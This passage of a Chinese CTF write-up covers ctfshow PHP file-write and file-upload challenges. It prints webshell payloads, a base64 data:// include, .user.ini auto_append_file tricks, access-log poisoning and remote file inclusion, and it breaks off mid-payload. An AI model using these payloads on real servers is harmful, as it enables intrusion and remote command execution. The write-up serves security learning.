class=\"wp-block-code\"><code>?file=data:\/\/text\/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs\nPOST 1=system(\"cat *f*\");<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web117<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nhighlight_file(__FILE__);\nerror_reporting(0);\nfunction filter($x){\n    if(preg_match('\/http|https|utf|zlib|data|input|rot13|base64|string|log|sess\/i',$x)){\n        die('too young too simple sometimes naive!');\n    }\n}\n$file=$_GET&#91;'file'];\n$contents=$_POST&#91;'contents'];\nfilter($file);\nfile_put_contents($file, \"&lt;?php die();?&gt;\".$contents); <\/code><\/pre>\n\n\n\n<p>\u8fc7\u6ee4\u4e86base64\u548crot13\uff0c\u6211\u4eec\u53ef\u4ee5\u6362\u4e2a\u51b7\u95e8\u70b9\u7684<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>payload: file=php:\/\/filter\/write=convert.iconv.UCS-2LE.UCS-2BE\/resource=a.php \npost:contents=?&lt;hp pvela$(P_SO&#91;T]1;)&gt;?<\/code><\/pre>\n\n\n\n<h1 class=\"wp-block-heading\">web\u5165\u95e8\u00b7\u6587\u4ef6\u4e0a\u4f20<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">web151<\/h2>\n\n\n\n<p>\u76f4\u63a5\u4f20\u5373\u53ef<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/1-39.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"882\" height=\"467\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/1-39.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1072\"  sizes=\"auto, (max-width: 882px) 100vw, 882px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">web152<\/h2>\n\n\n\n<p>\u76f4\u63a5\u4f20\u5373\u53ef\uff0c\u540c\u4e0a<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web153<\/h2>\n\n\n\n<p>\u6539\u62101.pHp\u53ef\u4ee5\u4e0a\u4f20\u4f46\u662f\u76f4\u63a5\u8bbf\u95ee\u663e\u793a405\uff0c\u6362\u4e2a\u5176\u4ed6\u65b9\u5f0f\uff0c\u7528.htaccess\u628apng\u4ee5php\u65b9\u5f0f\u6267\u884c\u8fd9\u91cc\u4e5f\u663e\u793a405\uff0c\u770b\u6765\u662fupload\u8fd9\u4e2a\u76ee\u5f55\u6211\u4eec\u6ca1\u6743\u9650\uff0c\u6240\u4ee5\u53ea\u80fd\u60f3\u529e\u6cd5\u8ba9\u5176\u4ed6\u7f51\u9875index.php\u5305\u542b\u6211\u4eec\u7684\u6728\u9a6c\u4ee3\u7801\uff0c\u8fd9\u6837\u5c31\u80fd\u6267\u884c\u547d\u4ee4\u4e86\uff0c\u5148\u4e0a\u4f20\u4e2a\u542b\u6728\u9a6c\u4ee3\u7801\u7684\u56fe\u7247\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/1-42.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"948\" height=\"392\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/1-42.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1075\"  sizes=\"auto, (max-width: 948px) 100vw, 948px\" \/><\/div><\/figure>\n\n\n\n<p>\u7136\u540e\u4e0a\u4f20\u5185\u5bb9\u4e3aauto_append_file=\/var\/www\/html\/upload\/1.png\u7684.user.ini\u6587\u4ef6\u8ba9\u6240\u6709php\u9875\u9762\u5305\u542b\u6211\u4eec\u7684\u6076\u610f\u4ee3\u7801\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/2-1.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1003\" height=\"406\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/2-1.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1076\"  sizes=\"auto, (max-width: 1003px) 100vw, 1003px\" \/><\/div><\/figure>\n\n\n\n<p>\u7136\u540e\u6267\u884c\u4ee3\u7801\u5373\u53ef<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/1-43-1024x809.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"809\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/1-43-1024x809.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1077\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">web154<\/h2>\n\n\n\n<p>\u4e0a\u4f20\u6587\u4ef6\u540e\u9650\u5236\u6587\u4ef6\u5185\u5bb9\u4e0d\u5408\u89c4\uff0c\u8fc7\u6ee4\u4e86php\u8fd9\u4e2a\u5b57\u7b26\uff0c\u6211\u4eec\u53ef\u4ee5\u7528\u77ed\u6807\u7b7e\u6765\u6784\u9020\u6076\u610f\u4ee3\u7801\uff0c\u6bd4\u5982\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?=eval($_POST&#91;cmd]);?&gt;<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/1-47-1024x415.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"415\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/1-47-1024x415.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1082\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u7136\u540e\u4e0a\u4f20.user.ini\u5305\u542b\u8be5\u6587\u4ef6\u5373\u53ef\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>auto_append_file=\/var\/www\/html\/upload\/1.png<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/1-48.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"942\" height=\"402\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/1-48.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1083\"  sizes=\"auto, (max-width: 942px) 100vw, 942px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/1-49.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"948\" height=\"832\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/1-49.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1084\"  sizes=\"auto, (max-width: 948px) 100vw, 948px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">web155<\/h2>\n\n\n\n<p>\u540c\u4e0a<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web156<\/h2>\n\n\n\n<p>\u8fc7\u6ee4\u4e86[]\uff0c\u7528{}\u4ee3\u66ff\u5373\u53ef:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?=eval($_POST{cmd});?&gt;<\/code><\/pre>\n\n\n\n<p>\u5176\u4ed6\u540c\u4e0a<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web157<\/h2>\n\n\n\n<p>\u591a\u8fc7\u6ee4\u4e86\u5206\u53f7\uff0c\u6539\u4e00\u4e0b\u5373\u53ef\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?=`tac ..\/f*`?&gt;<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web158<\/h2>\n\n\n\n<p>\u540c\u4e0a<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web159<\/h2>\n\n\n\n<p>\u540c\u4e0a<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web160<\/h2>\n\n\n\n<p>\u672c\u9898\u591a\u8fc7\u6ee4\u4e86\u62ec\u53f7\u548c\u53cd\u5f15\u53f7\uff0c\u800c\u4e14\u8fd8\u8fc7\u6ee4\u4e86log\uff0c\u6211\u4eec\u53ef\u4ee5\u8054\u60f3\u5230\u65e5\u5fd7\u5305\u542b\uff0c\u7136\u540e\u7528\u5b57\u7b26\u4e32\u62fc\u63a5\u6784\u9020log:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?=include\"\/var\/lo\".\"g\/nginx\/access.lo\".\"g\"?&gt;<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/1-50-1024x436.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"436\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/1-50-1024x436.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1090\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u7136\u540e\u4e0a\u4f20.user.ini\u5305\u542b\u8be5\u6587\u4ef6\u5373\u53ef\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>auto_append_file=\/var\/www\/html\/upload\/hack.png<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/1-51.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"990\" height=\"449\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/1-51.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1091\"  sizes=\"auto, (max-width: 990px) 100vw, 990px\" \/><\/div><\/figure>\n\n\n\n<p>\u7136\u540e\u5728UA\u5934\u6539\u4e3a\u60f3\u6267\u884c\u7684\u547d\u4ee4\u8bbf\u95ee\u4e3b\u9875\uff0c\u6700\u540e\u8bbf\u95ee\/upload\uff0c\u770b\u770blog\u91cc\u547d\u4ee4\u6267\u884c\u7ed3\u679c\u5373\u53ef\u5373\u53ef<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php system('tac ..\/f*');?&gt;<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/1-52.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"620\" height=\"229\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/1-52.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1092\"  sizes=\"auto, (max-width: 620px) 100vw, 620px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/1-53-1024x589.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"589\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/1-53-1024x589.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1093\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">web161<\/h2>\n\n\n\n<p>\u5728160\u7684\u57fa\u7840\u4e0a\u589e\u52a0\u4e86\u5bf9\u56fe\u7247\u5934\u7684\u9a8c\u8bc1\u5373\u53ef\uff0c\u5373GIF89A<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GIF89A\n&lt;?=include\"\/var\/lo\".\"g\/nginx\/access.lo\".\"g\"?&gt;<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/1-54-1024x432.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"432\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/1-54-1024x432.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1094\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u4e0a\u4f20.user.ini\u5305\u542b\u6587\u4ef6<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GIF89A\nauto_append_file=\"\/var\/www\/html\/upload\/1.png\"<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/1-55.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"971\" height=\"484\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/1-55.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1095\"  sizes=\"auto, (max-width: 971px) 100vw, 971px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">web162<\/h2>\n\n\n\n<p>\u8fdc\u7a0b\u6587\u4ef6\u5305\u542b\u3002<\/p>\n\n\n\n<p>\u9996\u5148\u5728\u81ea\u5df1\u7684vps\u4e0a\u786e\u4fdd<code>allow_url_include=On<\/code>\u3002\u7136\u540e\u5728\u81ea\u5df1vps\u7684\u4e3b\u9875\u4e0a\u653e\u4e00\u53e5\u8bdd\u6728\u9a6c(\u786e\u4fdd\u76f4\u63a5curl ip\u53ef\u4ee5\u8bbf\u95ee\u5230\uff0c\u5b9d\u5854\u7684\u8bdd\u53ef\u4ee5\u76f4\u63a5\u5728\u7f51\u7ad9-\u4fee\u6539\u9ed8\u8ba4\u9875\u91cc\u4fee\u6539)\u3002<\/p>\n\n\n\n<p>\u7136\u540eip\u8f6c\u6570\u5b57bypass\uff1a<a href=\"https:\/\/www.bejson.com\/convert\/ip2int\/\">https:\/\/www.bejson.com\/convert\/ip2int\/<\/a><\/p>\n\n\n\n<p>\u7136\u540e\u4e0a\u4f20.user.ini\u5305\u542b\u8fdc\u7a0b\u7f51\u9875\u5373\u53ef<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/1-9.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1019\" height=\"452\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/1-9.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1159\"  sizes=\"auto, (max-width: 1019px) 100vw, 1019px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/1-10-1024x712.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"712\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/1-10-1024x712.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1160\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">web164<\/h2>\n\n\n\n<p>png\u56fe\u7247\u4e8c\u6b21\u6e32\u67d3\u7ed5\u8fc7<a href=\"https:\/\/www.fujieace.com\/penetration-test\/upload-labs-pass-16.html\">https:\/\/www.fujieace.com\/penetration-test\/upload-labs-pass-16.html<\/a><\/p>\n\n\n\n<p>\u539f\u7406\uff1a<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>\u539f\u7406<\/p>\n<cite>\u5728\u6211\u4eec\u4e0a\u4f20\u6587\u4ef6\u540e\uff0c\u7f51\u7ad9\u4f1a\u5bf9\u56fe\u7247\u8fdb\u884c\u4e8c\u6b21\u5904\u7406\uff08\u683c\u5f0f\u3001\u5c3a\u5bf8\u8981\u6c42\u7b49\uff09\uff0c\u670d\u52a1\u5668\u4f1a\u628a\u91cc\u9762\u7684\u5185\u5bb9\u8fdb\u884c\u66ff\u6362\u66f4\u65b0\uff0c\u5904\u7406\u5b8c\u6210\u540e\uff0c\u6839\u636e\u6211\u4eec\u539f\u6709\u7684\u56fe\u7247\u751f\u6210\u4e00\u4e2a\u65b0\u7684\u56fe\u7247\u5e76\u653e\u5230\u7f51\u7ad9\u5bf9\u5e94\u7684\u6807\u7b7e\u8fdb\u884c\u663e\u793a\u3002\u5c06\u4e00\u53e5\u8bdd\u6728\u9a6c\u63d2\u5165\u5230\u7f51\u7ad9\u4e8c\u6b21\u5904\u7406\u540e\u7684\u56fe\u7247\u4e2d\uff0c\u4e5f\u5c31\u662f\u628a\u4e00\u53e5\u8bdd\u63d2\u5165\u56fe\u7247\u5728\u4e8c\u6b21\u6e32\u67d3\u540e\u4f1a\u4fdd\u7559\u7684\u90a3\u90e8\u5206\u6570\u636e\u91cc\uff0c\u786e\u4fdd\u4e0d\u4f1a\u5728\u4e8c\u6b21\u5904\u7406\u65f6\u5220\u9664\u6389\u3002\u8fd9\u6837\u4e8c\u6b21\u6e32\u67d3\u540e\u7684\u56fe\u7247\u4e2d\u5c31\u5b58\u5728\u4e86\u4e00\u53e5\u8bdd\uff0c\u5728\u914d\u5408\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\u83b7\u53d6webshell\u3002<\/cite><\/blockquote>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,\n           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,\n           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,\n           0x5a, 0x01, 0xdc, 0x5a, 0x01, 